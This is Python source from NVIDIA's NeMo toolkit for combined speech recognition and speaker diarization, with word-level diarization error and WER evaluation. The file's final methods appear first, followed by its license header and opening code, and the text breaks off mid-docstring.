get_speaker_error_mismatch(ctm_error_dict, error_buffer, w_range_buffer, pred_rttm_eval) ctm_error_dict['hyp_based_wder'] = round( ctm_error_dict['diar_confuse_count'] / ctm_error_dict['hyp_word_count'], 4 ) ctm_error_dict['ref_based_wder'] = round( ctm_error_dict['diar_confuse_count'] / ctm_error_dict['ref_word_count'], 4 ) ctm_error_dict['diar_trans_acc'] = round( ctm_error_dict['all_correct_count'] / ctm_error_dict['ref_word_count'], 4 ) return cumul_align_error, ctm_error_dict def get_WDER(self, total_riva_dict, DER_result_dict): """ Calculate word-level diarization error rate (WDER). WDER is calculated by counting the the wrongly diarized words and divided by the total number of words recognized by the ASR model. Args: total_riva_dict (dict): Dictionary that stores riva_dict(dict) which is indexed by uniq_id variable. DER_result_dict (dict): Dictionary that stores DER, FA, Miss, CER, mapping, the estimated number of speakers and speaker counting accuracy. ref_labels_list (list): List containing the ground truth speaker labels for each segment. Returns: wder_dict (dict): A dictionary containing WDER value for each session and total WDER. """ wder_dict, count_dict = {'session_level': {}}, {} asr_eval_dict = {'hypotheses_list': [], 'references_list': []} align_error_list = [] count_dict['total_ctm_wder_count'], count_dict['total_asr_and_spk_correct_words'] = 0, 0 ( count_dict['grand_total_ctm_word_count'], count_dict['grand_total_pred_word_count'], count_dict['grand_total_correct_word_count'], ) = (0, 0, 0) if any([self.AUDIO_RTTM_MAP[uniq_id]['ctm_filepath'] != None for uniq_id in self.AUDIO_RTTM_MAP.keys()]): if not DIFF_MATCH_PATCH: raise ImportError( 'CTM file is provided but diff_match_patch is not installed. Install diff_match_patch using PyPI: pip install diff_match_patch' ) for k, audio_file_path in enumerate(self.audio_file_list): uniq_id = get_uniqname_from_filepath(audio_file_path) error_dict = {'uniq_id': uniq_id} ref_rttm = self.AUDIO_RTTM_MAP[uniq_id]['rttm_filepath'] ref_labels = rttm_to_labels(ref_rttm) mapping_dict = DER_result_dict[uniq_id]['mapping'] hyp_w_dict_list = total_riva_dict[uniq_id]['words'] hyp_w_dict_list, word_seq_list, correct_word_count, rttm_wder = self.calculate_WDER_from_RTTM( hyp_w_dict_list, ref_labels, mapping_dict ) error_dict['rttm_based_wder'] = rttm_wder error_dict.update(DER_result_dict[uniq_id]) # If CTM files are provided, evaluate word-level diarization and wer with the CTM files. if self.AUDIO_RTTM_MAP[uniq_id]['ctm_filepath']: self.ctm_exists[uniq_id] = True ctm_content = open(self.AUDIO_RTTM_MAP[uniq_id]['ctm_filepath']).readlines() self.get_ctm_based_eval(ctm_content, error_dict, count_dict, hyp_w_dict_list, mapping_dict) else: self.ctm_exists[uniq_id] = False wder_dict['session_level'][uniq_id] = error_dict asr_eval_dict['hypotheses_list'].append(' '.join(word_seq_list)) asr_eval_dict['references_list'].append(self.AUDIO_RTTM_MAP[uniq_id]['text']) count_dict['grand_total_pred_word_count'] += len(hyp_w_dict_list) count_dict['grand_total_correct_word_count'] += correct_word_count wder_dict = self.get_wder_dict_values(asr_eval_dict, wder_dict, count_dict, align_error_list) return wder_dict def calculate_WDER_from_RTTM(self, hyp_w_dict_list, ref_labels, mapping_dict): """ Calculate word-level diarization error rate (WDER) using the provided RTTM files. If lenient_overlap_WDER is True, the words are considered to be correctly diarized if the words fall into overlapped regions that include the correct speaker labels. Note that WDER values computed from RTTM may not be accurate if the word timestamps have limited accuracy. It is recommended to use CTM files to compute an accurate evaluation result. """ correct_word_count = 0 ref_label_list = [[float(x.split()[0]), float(x.split()[1])] for x in ref_labels] ref_label_array = np.array(ref_label_list) word_seq_list = [] for w_idx in range(len(hyp_w_dict_list)): wdict = hyp_w_dict_list[w_idx] wdict['diar_correct'] = False speaker_label = wdict['speaker_label'] if speaker_label in mapping_dict: est_spk_label = mapping_dict[speaker_label] else: continue word_range = np.array( [wdict['start_time'] + self.word_ts_anchor_offset, wdict['end_time'] + self.word_ts_anchor_offset] ) word_seq_list.append(wdict['word']) word_range_tile = np.tile(word_range, (ref_label_array.shape[0], 1)) ovl_bool = self.isOverlapArray(ref_label_array, word_range_tile) if np.any(ovl_bool) == False: continue ovl_length = self.getOverlapRangeArray(ref_label_array, word_range_tile) if self.params['lenient_overlap_WDER']: ovl_length_list = list(ovl_length[ovl_bool]) max_ovl_sub_idx = np.where(ovl_length_list == np.max(ovl_length_list))[0] max_ovl_idx = np.where(ovl_bool == True)[0][max_ovl_sub_idx] ref_spk_labels = [x.split()[-1] for x in list(np.array(ref_labels)[max_ovl_idx])] if est_spk_label in ref_spk_labels: correct_word_count += 1 wdict['diar_correct'] = True else: max_ovl_sub_idx = np.argmax(ovl_length[ovl_bool]) max_ovl_idx = np.where(ovl_bool == True)[0][max_ovl_sub_idx] _, _, ref_spk_label = ref_labels[max_ovl_idx].split() if est_spk_label == ref_spk_labels: correct_word_count += 1 wdict['diar_correct'] = True hyp_w_dict_list[w_idx] = wdict rttm_wder = round(1 - (correct_word_count / len(hyp_w_dict_list)), 4) return hyp_w_dict_list, word_seq_list, correct_word_count, rttm_wder def get_ctm_based_eval(self, ctm_content, error_dict, count_dict, hyp_w_dict_list, mapping_dict): """ Calculate errors using the given CTM files. """ count_dict['grand_total_ctm_word_count'] += len(ctm_content) align_errors, ctm_error_dict = self.get_alignment_errors(ctm_content, hyp_w_dict_list, mapping_dict) count_dict['total_asr_and_spk_correct_words'] += ctm_error_dict['all_correct_count'] count_dict['total_ctm_wder_count'] += ctm_error_dict['diar_confuse_count'] self.align_error_list += align_errors error_dict.update(ctm_error_dict) def get_wder_dict_values(self, asr_eval_dict, wder_dict, count_dict, align_error_list): """ Calculate the total error rates for WDER, WER and alignment error. """ if '-' in asr_eval_dict['references_list'] or None in asr_eval_dict['references_list']: wer = -1 else: wer = word_error_rate( hypotheses=asr_eval_dict['hypotheses_list'], references=asr_eval_dict['references_list'] ) wder_dict['total_WER'] = wer wder_dict['total_wder_rttm'] = 1 - ( count_dict['grand_total_correct_word_count'] / count_dict['grand_total_pred_word_count'] ) if all(x for x in self.ctm_exists.values()) == True: wder_dict['total_wder_ctm_ref_trans'] = ( count_dict['total_ctm_wder_count'] / count_dict['grand_total_ctm_word_count'] if count_dict['grand_total_ctm_word_count'] > 0 else -1 ) wder_dict['total_wder_ctm_pred_asr'] = ( count_dict['total_ctm_wder_count'] / count_dict['grand_total_pred_word_count'] if count_dict['grand_total_pred_word_count'] > 0 else -1 ) wder_dict['total_diar_trans_acc'] = ( count_dict['total_asr_and_spk_correct_words'] / count_dict['grand_total_ctm_word_count'] if count_dict['grand_total_ctm_word_count'] > 0 else -1 ) wder_dict['total_alignment_error_mean'] = ( np.mean(self.align_error_list).round(4) if self.align_error_list != [] else -1 ) wder_dict['total_alignment_error_std'] = ( np.std(self.align_error_list).round(4) if self.align_error_list != [] else -1 ) return wder_dict def get_str_speech_labels(self, speech_labels_float): """ Convert speech_labels_float to a list that contains string values. """ speech_labels = [] for start, end in speech_labels_float: speech_labels.append("{:.3f} {:.3f} speech".format(start, end)) return speech_labels def write_result_in_csv(self, args, WDER_dict, DER_result_dict, effective_WDER): """ This function is for development use. Saves the diarization result into a csv file. """ row = [ args.asr_based_vad_threshold, WDER_dict['total'], DER_result_dict['total']['DER'], DER_result_dict['total']['FA'], DER_result_dict['total']['MISS'], DER_result_dict['total']['CER'], DER_result_dict['total']['spk_counting_acc'], effective_WDER, ] with open(os.path.join(self.root_path, args.csv), 'a') as csvfile: csvwriter = csv.writer(csvfile) csvwriter.writerow(row) def write_session_level_result_in_csv(self, WDER_dict): """ This function is for development use when a CTM file is provided. Saves the session-level diarization and ASR result into a csv file. """ target_path = f"{self.root_path}/pred_rttms/ctm_eval.csv" logging.info(f"Writing {target_path}") csv_columns = [ 'uniq_id', 'DER', 'CER', 'FA', 'MISS', 'est_n_spk', 'is_spk_count_correct', 'ref_word_count', 'hyp_word_count', 'diar_confuse_count', 'all_correct_count', 'diar_trans_acc', 'hyp_based_wder', 'ref_based_wder', 'rttm_based_wder', 'mapping', ] dict_data = [x for k, x in WDER_dict['session_level'].items()] try: with open(target_path, 'w') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=csv_columns) writer.writeheader() for data in dict_data: writer.writerow(data) except IOError: logging.info("I/O error has occurred while writing a csv file.") def break_lines(self, string_out, max_chars_in_line=90): """ Break the lines in the transcript. """ color_str_len = len('\033[1;00m') if self.params['colored_text'] else 0 split_string_out = string_out.split('\n') return_string_out = [] for org_chunk in split_string_out: buffer = [] if len(org_chunk) - color_str_len > max_chars_in_line: color_str = org_chunk[:color_str_len] if color_str_len > 0 else '' for i in range(color_str_len, len(org_chunk), max_chars_in_line): trans_str = org_chunk[i : i + max_chars_in_line] if len(trans_str.strip()) > 0: c_trans_str = color_str + trans_str buffer.append(c_trans_str) return_string_out.extend(buffer) else: return_string_out.append(org_chunk) return '\n'.join(return_string_out) def write_and_log(self, uniq_id, riva_dict, string_out, audacity_label_words, gecko_dict): """ Write output files and displays logging messages. """ ROOT = self.root_path dump_json_to_file(f'{ROOT}/pred_rttms/{uniq_id}.json', riva_dict) dump_json_to_file(f'{ROOT}/pred_rttms/{uniq_id}_gecko.json', gecko_dict) write_txt(f'{ROOT}/pred_rttms/{uniq_id}.txt', string_out.strip()) write_txt(f'{ROOT}/pred_rttms/{uniq_id}.w.label', '\n'.join(audacity_label_words)) def print_errors(self, DER_result_dict, WDER_dict): """ Print a slew of error metrics for ASR and Diarization. """ if all(x for x in self.ctm_exists.values()) == True: self.write_session_level_result_in_csv(WDER_dict) logging.info( f"\nDER : {DER_result_dict['total']['DER']:.4f} \ \nFA : {DER_result_dict['total']['FA']:.4f} \ \nMISS : {DER_result_dict['total']['MISS']:.4f} \ \nCER : {DER_result_dict['total']['CER']:.4f} \ \nrttm WDER : {WDER_dict['total_wder_rttm']:.4f} \ \nCTM WDER Ref. : {WDER_dict['total_wder_ctm_ref_trans']:.4f} \ \nCTM WDER ASR Hyp. : {WDER_dict['total_wder_ctm_pred_asr']:.4f} \ \nCTM diar-trans Acc.: {WDER_dict['total_diar_trans_acc']:.4f} \ \nmanifest text WER : {WDER_dict['total_WER']:.4f} \ \nalignment Err. : Mean: {WDER_dict['total_alignment_error_mean']:.4f} STD:{WDER_dict['total_alignment_error_std']:.4f} \ \nSpk. counting Acc. : {DER_result_dict['total']['spk_counting_acc']:.4f}" ) else: logging.info( f"\nDER : {DER_result_dict['total']['DER']:.4f} \ \nFA : {DER_result_dict['total']['FA']:.4f} \ \nMISS : {DER_result_dict['total']['MISS']:.4f} \ \nCER : {DER_result_dict['total']['CER']:.4f} \ \nWDER : {WDER_dict['total_wder_rttm']:.4f} \ \nWER : {WDER_dict['total_WER']:.4f} \ \nSpk. counting acc.: {DER_result_dict['total']['spk_counting_acc']:.4f}" ) def print_time(self, speaker, start_point, end_point, params, previous_string=None, replace_time=False): """ Print a transcript with speaker labels and timestamps. """ if not previous_string: string_out = '' else: string_out = previous_string if params['colored_text']: color = self.color_palette.get(speaker, '\033[0;37m') else: color = '' datetime_offset = 16 * 3600 if float(start_point) > 3600: time_str = "%H:%M:%S.%f" else: time_str = "%M:%S.%f" start_point, end_point = max(float(start_point), 0), max(float(end_point), 0) start_point_str = datetime.fromtimestamp(start_point - datetime_offset).strftime(time_str)[:-4] end_point_str = datetime.fromtimestamp(end_point - datetime_offset).strftime(time_str)[:-4] if replace_time: old_start_point_str = string_out.split('\n')[-1].split(' - ')[0].split('[')[-1] word_sequence = string_out.split('\n')[-1].split(' - ')[-1].split(':')[-1].strip() + ' ' string_out = '\n'.join(string_out.split('\n')[:-1]) time_str = "[{} - {}] ".format(old_start_point_str, end_point_str) else: time_str = "[{} - {}] ".format(start_point_str, end_point_str) word_sequence = '' if not params['print_time']: time_str = '' strd = "\n{}{}{}: {}".format(color, time_str, speaker, word_sequence.lstrip()) return string_out + strd @staticmethod def threshold_non_speech(source_list, params): return list(filter(lambda x: x[1] - x[0] > params['asr_based_vad_threshold'], source_list)) @staticmethod def get_effective_WDER(DER_result_dict, WDER_dict): return 1 - ( (1 - (DER_result_dict['total']['FA'] + DER_result_dict['total']['MISS'])) * (1 - WDER_dict['total']) ) @staticmethod def isOverlapArray(rangeA, rangeB): startA, endA = rangeA[:, 0], rangeA[:, 1] startB, endB = rangeB[:, 0], rangeB[:, 1] return (endA > startB) & (endB > startA) @staticmethod def getOverlapRangeArray(rangeA, rangeB): left = np.max(np.vstack((rangeA[:, 0], rangeB[:, 0])), axis=0) right = np.min(np.vstack((rangeA[:, 1], rangeB[:, 1])), axis=0) return right - left @staticmethod def get_audacity_label(word, stt_sec, end_sec, speaker): spk = speaker.split('_')[-1] return f'{stt_sec}\t{end_sec}\t[{spk}] {word}' @staticmethod def print_word(string_out, word, params): word = word.strip() return string_out + word + " " @staticmethod def softmax(logits): e = np.exp(logits - np.max(logits)) return e / e.sum(axis=-1).reshape([logits.shape[0], 1]) @staticmethod def get_num_of_spk_from_labels(labels): spk_set = [x.split(' ')[-1].strip() for x in labels] return len(set(spk_set)) @staticmethod def add_json_to_dict(riva_dict, word, stt, end, speaker): riva_dict['words'].append({'word': word, 'start_time': stt, 'end_time': end, 'speaker_label': speaker})
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import csv import json import os from collections import OrderedDict as od from datetime import datetime from typing import Dict, List, Tuple import numpy as np from nemo.collections.asr.metrics.wer import word_error_rate from nemo.collections.asr.models import ClusteringDiarizer from nemo.collections.asr.parts.utils.speaker_utils import ( audio_rttm_map, get_uniqname_from_filepath, labels_to_rttmfile, rttm_to_labels, write_rttm2manifest, ) from nemo.utils import logging from nemo.utils.decorators.experimental import experimental try: import arpa ARPA = True except ImportError: ARPA = False try: import diff_match_patch DIFF_MATCH_PATCH = True except ImportError: DIFF_MATCH_PATCH = False __all__ = ['ASR_DIAR_OFFLINE'] def dump_json_to_file(file_path, riva_dict): """ Write a json file from the riva_dict dictionary. """ with open(file_path, "w") as outfile: json.dump(riva_dict, outfile, indent=4) def write_txt(w_path, val): """ Write a text file from the string input. """ with open(w_path, "w") as output: output.write(val + '\n') return None def get_diff_text(text1: List[str], text2: List[str]) -> List[Tuple[int, str]]: """ Take the alignment between two lists and get the difference """ orig_words = '\n'.join(text1.split()) + '\n' pred_words = '\n'.join(text2.split()) + '\n' diff = diff_match_patch.diff_match_patch() diff.Diff_Timeout = 0 orig_enc, pred_enc, enc = diff.diff_linesToChars(orig_words, pred_words) diffs = diff.diff_main(orig_enc, pred_enc, False) diff.diff_charsToLines(diffs, enc) return diffs def get_speaker_error_mismatch(ctm_error_dict, error_buffer, w_range_buffer, pred_rttm_eval): """ Calculate the diarization confuse error using the reference CTM file. """ correct_count, error_count, align_error = 0, 0, [] for k, _d in enumerate(error_buffer): if _d[0] == 1: stt, end = w_range_buffer[k] bool_list = [_bool for _bool in pred_rttm_eval[stt:end]] error_count = len(bool_list) - sum(bool_list) ctm_error_dict['diar_confuse_count'] += error_count def get_speaker_error_match(ctm_error_dict, w_range, ctm_info_list, pred_info_list, mapping_dict): """ Count the words with wrong speaker assignments. """ error_count, align_error_list = 0, [] for ref, prd in zip(range(w_range[0][0], w_range[0][1]), range(w_range[1][0], w_range[1][1])): ref_spk, ref_start, ref_end = ctm_info_list[ref] pred_spk, pred_start, pred_end = pred_info_list[prd] if pred_spk in mapping_dict: error_count += 1 if ref_spk != mapping_dict[pred_spk] else 0 else: error_count += 1 align_error_list.append(ref_start - pred_start) ctm_error_dict['diar_confuse_count'] += error_count return error_count, align_error_list class ASR_DIAR_OFFLINE(object): """ A Class designed for performing ASR and diarization together. """ def __init__(self, **cfg_diarizer): self.manifest_filepath = cfg_diarizer['manifest_filepath'] self.params = cfg_diarizer['asr']['parameters'] self.ctc_decoder_params = cfg_diarizer['asr']['ctc_decoder_parameters'] self.realigning_lm_params = cfg_diarizer['asr']['realigning_lm_parameters'] self.nonspeech_threshold = self.params['asr_based_vad_threshold'] self.fix_word_ts_with_VAD = self.params['fix_word_ts_with_VAD'] self.root_path = cfg_diarizer['out_dir'] self.vad_threshold_for_word_ts = 0.7 self.max_word_ts_length_in_sec = 0.6 self.cfg_diarizer = cfg_diarizer self.word_ts_anchor_offset = 0.0 self.run_ASR = None self.realigning_lm = None self.ctm_exists = {} self.frame_VAD = {} self.align_error_list = [] self.AUDIO_RTTM_MAP = audio_rttm_map(self.manifest_filepath) self.audio_file_list = [value['audio_filepath'] for _, value in self.AUDIO_RTTM_MAP.items()] self.color_palette = { 'speaker_0': '\033[1;32m', 'speaker_1': '\033[1;34m', 'speaker_2': '\033[1;30m', 'speaker_3': '\033[1;31m', 'speaker_4': '\033[1;35m', 'speaker_5': '\033[1;36m', 'speaker_6': '\033[1;37m', 'speaker_7': '\033[1;30m', 'speaker_8': '\033[1;33m', 'speaker_9': '\033[0;34m', 'white': '\033[0;37m', } def load_realigning_LM(self): self.N_range = ( self.realigning_lm_params['min_number_of_words'], self.realigning_lm_params['max_number_of_words'], ) self.stt_end_tokens = ['</s>', '<s>'] logging.info(f"Loading LM for realigning: {self.realigning_lm_params['arpa_language_model']}") return arpa.loadf(self.realigning_lm_params['arpa_language_model'])[0] def save_VAD_labels_list(self, word_ts_dict): """ Take the non_speech labels from logit output. The logit output is obtained from run_ASR() function. Args: word_ts_dict (dict): List containing word timestamps. audio_file_list (list): List of audio file paths. """ self.VAD_RTTM_MAP = {} for idx, (uniq_id, word_timestamps) in enumerate(word_ts_dict.items()): speech_labels_float = self.get_speech_labels_from_decoded_prediction(word_timestamps) speech_labels = self.get_str_speech_labels(speech_labels_float) output_path = os.path.join(self.root_path, 'pred_rttms') if not os.path.exists(output_path): os.makedirs(output_path) filename = labels_to_rttmfile(speech_labels, uniq_id, output_path) self.VAD_RTTM_MAP[uniq_id] = {'audio_filepath': self.audio_file_list[idx], 'rttm_filepath': filename} def get_speech_labels_from_decoded_prediction(self, input_word_ts): """ Extract speech labels from the ASR output (decoded predictions) Args: input_word_ts (list): List containing word timestamps. Returns: word_ts (list): The ranges of the speech segments, which are merged ranges of input_word_ts. """ speech_labels = [] word_ts = copy.deepcopy(input_word_ts) if word_ts == []: return speech_labels else: count = len(word_ts) - 1 while count > 0: if len(word_ts) > 1: if word_ts[count][0] - word_ts[count - 1][1] <= self.nonspeech_threshold: trangeB = word_ts.pop(count) trangeA = word_ts.pop(count - 1) word_ts.insert(count - 1, [trangeA[0], trangeB[1]]) count -= 1 return word_ts def run_diarization( self, diar_model_config, word_timestamps, ): """ Launch the diarization process using the given VAD timestamp (oracle_manifest). Args: word_and_timestamps (list): List containing words and word timestamps Returns: diar_hyp (dict): A dictionary containing rttm results which are indexed by a unique ID. score Tuple[pyannote object, dict]: A tuple containing pyannote metric instance and mapping dictionary between speakers in hypotheses and speakers in reference RTTM files. """ if diar_model_config.diarizer.asr.parameters.asr_based_vad: self.save_VAD_labels_list(word_timestamps) oracle_manifest = os.path.join(self.root_path, 'asr_vad_manifest.json') oracle_manifest = write_rttm2manifest(self.VAD_RTTM_MAP, oracle_manifest) diar_model_config.diarizer.vad.model_path = None diar_model_config.diarizer.vad.external_vad_manifest = oracle_manifest diar_model = ClusteringDiarizer(cfg=diar_model_config) score = diar_model.diarize() if diar_model_config.diarizer.vad.model_path is not None and not diar_model_config.diarizer.oracle_vad: self.get_frame_level_VAD(vad_processing_dir=diar_model.vad_pred_dir) diar_hyp = {} for k, audio_file_path in enumerate(self.audio_file_list): uniq_id = get_uniqname_from_filepath(audio_file_path) pred_rttm = os.path.join(self.root_path, 'pred_rttms', uniq_id + '.rttm') diar_hyp[uniq_id] = rttm_to_labels(pred_rttm) return diar_hyp, score def get_frame_level_VAD(self, vad_processing_dir): """ Read frame-level VAD outputs. Args: oracle_model (ClusteringDiarizer): ClusteringDiarizer instance. audio_file_path (List): List containing file paths for audio files. """ for uniq_id in self.AUDIO_RTTM_MAP: frame_vad = os.path.join(vad_processing_dir, uniq_id + '.median') frame_vad_float_list = [] with open(frame_vad, 'r') as fp: for line in fp.readlines(): frame_vad_float_list.append(float(line.strip())) self.frame_VAD[uniq_id] = frame_vad_float_list def gather_eval_results(self, metric, mapping_dict, total_riva_dict): """ Gather diarization evaluation results from pyannote DiarizationErrorRate metric object. Inputs: metric (DiarizationErrorRate metric): DiarizationErrorRate metric pyannote object mapping_dict (dict): A dictionary containing speaker mapping labels for each audio file with key as unique name Returns: DER_result_dict (dict): A dictionary containing scores for each audio file along with aggregated results """ results = metric.results_ DER_result_dict = {} count_correct_spk_counting = 0 for result in results: key, score = result pred_rttm = os.path.join(self.root_path, 'pred_rttms', key + '.rttm') pred_labels = rttm_to_labels(pred_rttm) est_n_spk = self.get_num_of_spk_from_labels(pred_labels) ref_rttm = self.AUDIO_RTTM_MAP[key]['rttm_filepath'] ref_labels = rttm_to_labels(ref_rttm) ref_n_spk = self.get_num_of_spk_from_labels(ref_labels) if self.cfg_diarizer['oracle_vad']: score['missed detection'] = 0 score['false alarm'] = 0 _DER, _CER, _FA, _MISS = ( (score['confusion'] + score['false alarm'] + score['missed detection']) / score['total'], score['confusion'] / score['total'], score['false alarm'] / score['total'], score['missed detection'] / score['total'], ) DER_result_dict[key] = { "DER": round(_DER, 4), "CER": round(_CER, 4), "FA": round(_FA, 4), "MISS": round(_MISS, 4), "est_n_spk": est_n_spk, "mapping": mapping_dict[key], "is_spk_count_correct": (est_n_spk == ref_n_spk), } count_correct_spk_counting += int(est_n_spk == ref_n_spk) DER, CER, FA, MISS = ( abs(metric), metric['confusion'] / metric['total'], metric['false alarm'] / metric['total'], metric['missed detection'] / metric['total'], ) DER_result_dict["total"] = { "DER": DER, "CER": CER, "FA": FA, "MISS": MISS, "spk_counting_acc": count_correct_spk_counting / len(metric.results_), } return DER_result_dict def get_the_closest_silence_start(self, vad_index_word_end, vad_frames, params, offset=10): """ Find the closest silence frame from the given starting position. Args: vad_index_word_end (float): The timestamp of the end of the current word. vad_frames (numpy.array): The numpy array containing frame-level VAD probability. params (dict): Contains the parameters for diarization and ASR decoding. Returns: c (float): A timestamp of the earliest start of a silence region from the given time point, vad_index_word_end. """ c = vad_index_word_end + offset limit = int(100 * self.max_word_ts_length_in_sec + vad_index_word_end) while c < len(vad_frames): if vad_frames[c] < self.vad_threshold_for_word_ts: break else: c += 1 if c > limit: break c = min(len(vad_frames) - 1, c) c = round(c / 100.0, 2) return c def compensate_word_ts_list(self, audio_file_list, word_ts_dict, params): """ Compensate the word timestamps based on the VAD output. The length of each word is capped by self.max_word_ts_length_in_sec. Args: audio_file_list (list): List containing audio file paths. word_ts_dict (dict): Contains word_ts_stt_end lists. word_ts_stt_end = [stt, end] stt: Start of the word in sec. end: End of the word in sec. params (dict): The parameter dictionary for diarization and ASR decoding. Returns: enhanced_word_ts_dict (list): List of the enhanced word timestamp values. """ enhanced_word_ts_dict = {} for idx, (uniq_id, word_ts_seq_list) in enumerate(word_ts_dict.items()): N = len(word_ts_seq_list) enhanced_word_ts_buffer = [] for k, word_ts in enumerate(word_ts_seq_list): if k < N - 1: word_len = round(word_ts[1] - word_ts[0], 2) len_to_next_word = round(word_ts_seq_list[k + 1][0] - word_ts[0] - 0.01, 2) if uniq_id in self.frame_VAD: vad_index_word_end = int(100 * word_ts[1]) closest_sil_stt = self.get_the_closest_silence_start( vad_index_word_end, self.frame_VAD[uniq_id], params ) vad_est_len = round(closest_sil_stt - word_ts[0], 2) else: vad_est_len = len_to_next_word min_candidate = min(vad_est_len, len_to_next_word) fixed_word_len = max(min(self.max_word_ts_length_in_sec, min_candidate), word_len) enhanced_word_ts_buffer.append([word_ts[0], word_ts[0] + fixed_word_len]) else: enhanced_word_ts_buffer.append([word_ts[0], word_ts[1]]) enhanced_word_ts_dict[uniq_id] = enhanced_word_ts_buffer return enhanced_word_ts_dict def get_transcript_with_speaker_labels(self, diar_hyp, word_hyp, word_ts_hyp): """ Match the diarization result with the ASR output. The words and the timestamps for the corresponding words are matched in a for loop. Args: diar_labels (list): List of the Diarization output labels in str. word_list (list): List of words from ASR inference. word_ts_list (list): List Containing word_ts_stt_end lists. word_ts_stt_end = [stt, end] stt: Start of the word in sec. end: End of the word in sec. Returns: total_riva_dict (dict): A dictionary containing word timestamps, speaker labels and words. """ total_riva_dict = {} if self.fix_word_ts_with_VAD: if self.frame_VAD == {}: logging.info( f"VAD timestamps are not provided. Fixing word timestamps without VAD. Please check the hydra configurations." ) word_ts_refined = self.compensate_word_ts_list(self.audio_file_list, word_ts_hyp, self.params) else: word_ts_refined = word_ts_hyp if self.realigning_lm_params['arpa_language_model']: if not ARPA: raise ImportError( 'LM for realigning is provided but arpa is not installed. Install arpa using PyPI: pip install arpa' ) else: self.realigning_lm = self.load_realigning_LM() for k, audio_file_path in enumerate(self.audio_file_list): uniq_id = get_uniqname_from_filepath(audio_file_path) word_dict_seq_list = self.get_word_dict_seq_list(uniq_id, diar_hyp, word_hyp, word_ts_hyp, word_ts_refined) if self.realigning_lm: word_dict_seq_list = self.realign_words_with_lm(word_dict_seq_list) self.make_json_output(uniq_id, diar_hyp, word_dict_seq_list, total_riva_dict) logging.info(f"Diarization with ASR output files are saved in: {self.root_path}/pred_rttms") return total_riva_dict def get_word_dict_seq_list(self, uniq_id, diar_hyp, word_hyp, word_ts_hyp, word_ts_refined): """ Save the hypothesis words and speaker labels to a dictionary variable for future use. """ words, labels = word_hyp[uniq_id], diar_hyp[uniq_id] start_point, end_point, speaker = labels[0].split() word_pos, idx = 0, 0 word_dict_seq_list = [] for j, word_ts_stt_end in enumerate(word_ts_hyp[uniq_id]): word_pos = self.get_word_timestamp_anchor(word_ts_stt_end) if word_pos > float(end_point): idx += 1 idx = min(idx, len(labels) - 1) start_point, end_point, speaker = labels[idx].split() refined_word_ts_stt_end = word_ts_refined[uniq_id][j] stt_sec, end_sec = round(refined_word_ts_stt_end[0], 2), round(refined_word_ts_stt_end[1], 2) word_dict_seq_list.append( {'word': words[j], 'start_time': stt_sec, 'end_time': end_sec, 'speaker_label': speaker} ) return word_dict_seq_list def make_json_output(self, uniq_id, diar_hyp, word_dict_seq_list, total_riva_dict): """ Generate json output files and transcripts from the ASR and diarization results. Args: uniq_id (str): A unique ID (key) that identifies each input audio file. diar_hyp (list): The word sequence from ASR output. word_dict_seq_list (list): List containing words and corresponding word timestamps in dictionary format. Returns: total_riva_dict (dict): A dictionary containing overall results of diarization and ASR inference. """ word_seq_list, audacity_label_words = [], [] labels = diar_hyp[uniq_id] n_spk = self.get_num_of_spk_from_labels(labels) riva_dict = od( {'status': 'Success', 'session_id': uniq_id, 'transcription': '', 'speaker_count': n_spk, 'words': [],} ) gecko_dict = od({'schemaVersion': 2.0, 'monologues': []}) start_point, end_point, speaker = labels[0].split() string_out = self.print_time(speaker, start_point, end_point, self.params, previous_string='') prev_speaker = speaker terms_list = [] logging.info(f"Creating results for Session: {uniq_id} n_spk: {n_spk} ") for k, line_dict in enumerate(word_dict_seq_list): word, speaker = line_dict['word'], line_dict['speaker_label'] word_seq_list.append(word) start_point, end_point = line_dict['start_time'], line_dict['end_time'] if speaker != prev_speaker: if len(terms_list) != 0: gecko_dict['monologues'].append( {'speaker': {'name': None, 'id': prev_speaker}, 'terms': terms_list} ) terms_list = [] string_out = self.print_time(speaker, start_point, end_point, self.params, previous_string=string_out) else: string_out = self.print_time( speaker, start_point, end_point, self.params, previous_string=string_out, replace_time=True ) stt_sec, end_sec = round(start_point, 2), round(end_point, 2) terms_list.append({'start': stt_sec, 'end': end_sec, 'text': word, 'type': 'WORD'}) string_out = self.print_word(string_out, word, self.params) self.add_json_to_dict(riva_dict, word, stt_sec, end_sec, speaker) audacity_label_words.append(self.get_audacity_label(word, stt_sec, end_sec, speaker)) total_riva_dict[uniq_id] = riva_dict prev_speaker = speaker if self.params['break_lines']: string_out = self.break_lines(string_out) gecko_dict['monologues'].append({'speaker': {'name': None, 'id': speaker}, 'terms': terms_list}) riva_dict['transcription'] = ' '.join(word_seq_list) self.write_and_log(uniq_id, riva_dict, string_out, audacity_label_words, gecko_dict) return total_riva_dict def get_realignment_ranges(self, k, word_seq_len): """ Calculate word ranges for realignment operation. N1, N2 are calculated to not exceed the start and end of the input word sequence. """ if k < self.N_range[1]: N1 = max(k, self.N_range[0]) N2 = min(word_seq_len - k, self.N_range[1]) elif k > (word_seq_len - self.N_range[1]): N1 = min(k, self.N_range[1]) N2 = max(word_seq_len - k, self.N_range[0]) else: N1, N2 = self.N_range[1], self.N_range[1] return N1, N2 def get_word_timestamp_anchor(self, word_ts_stt_end: List[float]) -> float: """ Determine a reference point to match a word with the diarization results. word_ts_anchor_pos determines the position of a word in relation to the given diarization labels: - 'start' uses the beginning of the word - 'end' uses the end of the word - 'mid' uses the mean of start and end of the word word_ts_anchor_offset determines how much offset we want to add to the anchor position. It is recommended to use the default value. """ if self.params['word_ts_anchor_pos'] == 'start': word_pos = word_ts_stt_end[0] elif self.params['word_ts_anchor_pos'] == 'end': word_pos = word_ts_stt_end[1] elif self.params['word_ts_anchor_pos'] == 'mid': word_pos = (word_ts_stt_end[0] + word_ts_stt_end[1]) / 2 else: logging.info( f"word_ts_anchor_pos: {self.params['word_ts_anchor']} is not a supported option. Using the default 'start' option." ) word_pos = word_ts_stt_end[0] word_pos = word_pos + self.word_ts_anchor_offset return word_pos @experimental def realign_words_with_lm(self, word_dict_seq_list: List[Dict[str, float]]): """ Realign the mapping between speaker labels and words using a language model. The realigning process calculates the probability of the around the words at the boundary between two hypothetical 